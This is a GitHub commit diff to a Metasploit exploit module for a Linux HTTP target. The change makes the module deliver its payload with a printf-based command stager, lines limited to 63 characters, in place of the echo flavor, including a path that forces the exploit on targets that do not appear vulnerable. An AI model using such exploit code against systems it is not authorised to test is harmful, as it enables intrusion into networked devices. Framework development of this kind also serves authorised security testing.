File tree Expand file tree Collapse file tree 1 file changed +9
-2
lines changed
modules/exploits/linux/http Expand file tree Collapse file tree 1 file changed +9
-2
lines changed Original file line number Diff line number Diff line change @@ -116,15 +116,22 @@ def check
116
116
return Exploit ::CheckCode ::Safe
117
117
end
118
118
119
+ def inject_staged_data
120
+ execute_cmdstager (
121
+ flavor : :printf ,
122
+ linemax : 63
123
+ )
124
+ end
125
+
119
126
def exploit
120
127
print_status ( "#{ peer } - Checking..." )
121
128
122
129
if check == Exploit ::CheckCode ::Appears
123
130
print_status ( "#{ peer } - Appears vulnerable" )
124
- execute_cmdstager ( { :flavor => :echo } )
131
+ inject_staged_data
125
132
elsif datastore [ 'FORCE_EXPLOIT' ]
126
133
print_status ( "#{ peer } - Doesn't appear vulnerable, but trying anyway." )
127
- execute_cmdstager ( { :flavor => :echo } )
134
+ inject_staged_data
128
135
else
129
136
fail_with ( Failure ::Unknown , "#{ peer } - Failed to access the device" )
130
137
end
You can’t perform that action at this time.
0 commit comments